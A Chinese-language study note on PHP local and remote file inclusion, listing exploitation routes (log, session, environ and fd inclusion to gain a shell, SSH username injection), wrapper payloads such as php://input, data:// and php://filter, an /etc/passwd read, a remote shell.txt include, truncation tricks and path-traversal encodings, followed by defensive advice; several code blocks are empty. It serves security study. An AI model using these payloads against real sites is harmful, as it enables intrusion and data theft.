php文件包含学习笔记
原理
动态包含文件且包含文件的参数用户可控,产生漏洞的代码如下:
1 |
|
相关函数
一共涉及到4个函数
- include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
- require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
- include_once()和 require_once():若文件中代码已被包含则不会再次包含,以避免函数重定义或变量重赋值等问题
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
利用方法
包含本地重要配置文件
常见cms网站配置文件
1 |
|
windows下配置文件
1 |
|
linux下配置文件
1 |
|
配合文件上传漏洞getshell
上传php文件或图片马,直接包含进来即可
包含session文件getshell
利用条件:session文件路径已知,且其中内容部分可控。
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
包含日志文件getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码,也可以引入到文件
在linux下日志文件权限默认是 root,而php 的权限是 www-data,一般情况下都是读取不了,如果是 windows 环境下是可以权限是允许的。
linux 默认的apache 日志文件路径:
访问日志 /var/log/apache2/access.log
错误日志 /var/log/apache2/error.log
把文件日志包含进来即可包含中。如果日志有 php 恶意代码,也可导致 getshell。
常见日志路径:
apache+Linux
1 |
|
apache+win2003
1 |
|
IIS6.0+win2003
1 |
|
IIS7.0+win2003
1 |
|
nginx日志
日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx,那日志目录就是在/usr/local/nginx/logs下面
ssh-log
用ssh连接:
ssh '<?php phpinfo(); ?>'@【remote host】
之后会提示输入密码,随便输入就可以。
然后在remotehost的ssh-log中就写入了这个php代码
然后利用文件包含,包含日志文件
1 |
|
其他
如ftp、smtp等配置文件和日志,具体情况具体分析
包含环境变量getshell
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。environ文件默认位置:/proc/self/environ。在Linux系统下(FreeBSD是没有这个的)。Windows系统没有。
姿势:
/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含/proc/$PID/fd/$FD(文件描述符)
文件描述符:File descriptor,简称fd,当应用程序请求内核打开/新建一个文件时,内核会返回一个文件描述符用于对应这个打开/新建的文件,其fd本质上就是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。
利用方法:
- 上传大量的shell(比如100个)
- 包含
http://example.com/index.php?page=/proc/$PID/fd/$FD
$PID是进程号,$FD是文件描述符,两个都为整数,可以爆破
默认位置:/proc/$PID/fd/$FD。在Linux系统下。Windows系统没有。
只是和包含environ类似,默认的权限不一定能满足条件(www-data权限不够无法访问),所以比较鸡肋
参考挖洞经验 | 把PHP LFI漏洞变成Webshell的思路
phpinfo+包含post上传临时文件getshell
见复现文章
php伪协议
1 |
|
php.ini 参数设置
在 php.ini 里关于文件包含有两个重要的参数 allow_url_fopen、allow_url_include
allow_url_fopen:默认值是 ON,允许 url 里的封装协议访问文件
allow_url_include:默认值是 OFF,不允许包含 url 里的封装协议包
各协议利用条件和方法:
协议 | 测试PHP版本 | allow_url_fopen | allow_url_include | 用法 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | ?file=/etc/passwd |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-encode/resource=./index.php |
php://input | >=5.2 | off/on | on | ?file=php://input 【POST DATA】<?php phpinfo();?> |
zip:// | >=5.2 | off/on | off/on | ?file=zip://./file.zip%23shell.txt |
compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://./file.bz2 |
compress.zlib:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://./file.gz |
data:// | >=5.2 | on | on | ?file=data://text/plain,<?php phpinfo();?> 【or】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 【or】?file=data:text/plain,<?php phpinfo();?> 【or】?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
注:【POST DATA】代表后面的内容为http body,【or】代表“或”,表示其他的姿势;
file://
file协议用于直接读取文件
php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行 php 代码
具体查看PHP官方文档 https://www.php.net/manual/zh/wrappers.php.php
可用的过滤器(4类):字符串过滤器、转换过滤器、压缩过滤器、加密过滤器 https://www.php.net/manual/zh/filters.php
php://input
php://input
可以访问请求的原始数据的只读流,将post请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
,同时 post 想设置的文件内容,php 执行时会将post的内容当作文件内容。
注意:当 enctype=”multipart/form-data”,php://input 是无效的。
设置请求为 post 请求 在正文输入 php 代码<?php phpinfo();?>
提交即可
php://filter
可用rot13和base64加密,php://filter大小写不敏感
1 |
|
expect://
1 |
|
其他协议
phar、zip、bzip2、zlib等 https://www.php.net/manual/zh/wrappers.php
远程文件包含RFI条件
RFI的利用条件较为苛刻,需要php.ini中进行配置
- allow_url_fopen = On
- allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
payload:?file=http://test.com/shell.txt
截断攻击
使用场景:可控文件名后面加了其他字符导致不完全可控,样例代码如下
1 |
|
通过文件包含截断攻击,使后面附加内容的代码失效,让包含的文件名完全可控。
%00截断
php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。
超长文件名截断
这个合适于 win32,可以使用\.
和.
进行截断。注意:win2003为win32可以使用这个特性,而win2008及以上都为64位,无法使用这个特性。
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)
利用操作系统对目录最大长度限制。
在 window 下 256 字节
linux 下 4096 字节
.
截断
1 |
|
\.
截断
1 |
|
文件包含绕过
分为两种情况,前缀和后缀,代码如下:
1 |
|
其中/var/www/html/
是前缀,.php
是后缀,绕过这两种情况的方法不相同
绕过前缀
这里只考虑存在前缀的情况,先不考虑后缀。
目录遍历
可以用目录遍历绕过,payload:
1 |
|
此时服务器实际拼接出来的路径为:/var/www/html/../../log/test.txt
,即/var/log/test.txt
,故成功绕过了前缀限制。
编码绕过
有些waf会对../
做过滤或拦截,可以利用url编码绕过
1.利用url编码
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
2.二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
3.容器/服务器的编码方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- Apache Tomcat Directory Traversal(Apache Tomcat 目录遍历)
- ..\
- ..%c1%9c
双写绕过
如果waf过滤一次../
,那么可以双写绕过,payload:
1 |
|
绕过后缀
这里一样也是只考虑后缀,先不考虑前缀。
query绕过
url中的问号?代表后面跟的是查询参数,可以利用这个特性绕过后缀,问号?的url编码为%3f,在url中也可以用%3f代替,payload:
1 |
|
在服务器中拼接成为http://ip.com/shell.txt?.php
,相当于.php
变成了查询参数
fragment绕过
fragment在url中也成为“锚点”,就是我们常见的井号#,在井号后面的字符会被锚点,而不是路径的一部分,所以也可以利用这个特性绕过后缀,井号#的url编码为%23,在url中可以用%23代替,payload:
1 |
|
会在服务器中拼接为http://ip.com/shell.txt#.php
,.php
被当成了锚点,造成了绕过
截断绕过
上面截断攻击的部分已经介绍过了,这里不再赘述
防御方案
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是 否可被外部控制
- 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:”../“
- 包含文件验证:验证被包含的文件是否是白名单中的一员
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)
- 设置 allow_url_include 为 Off
审计技巧
待补充…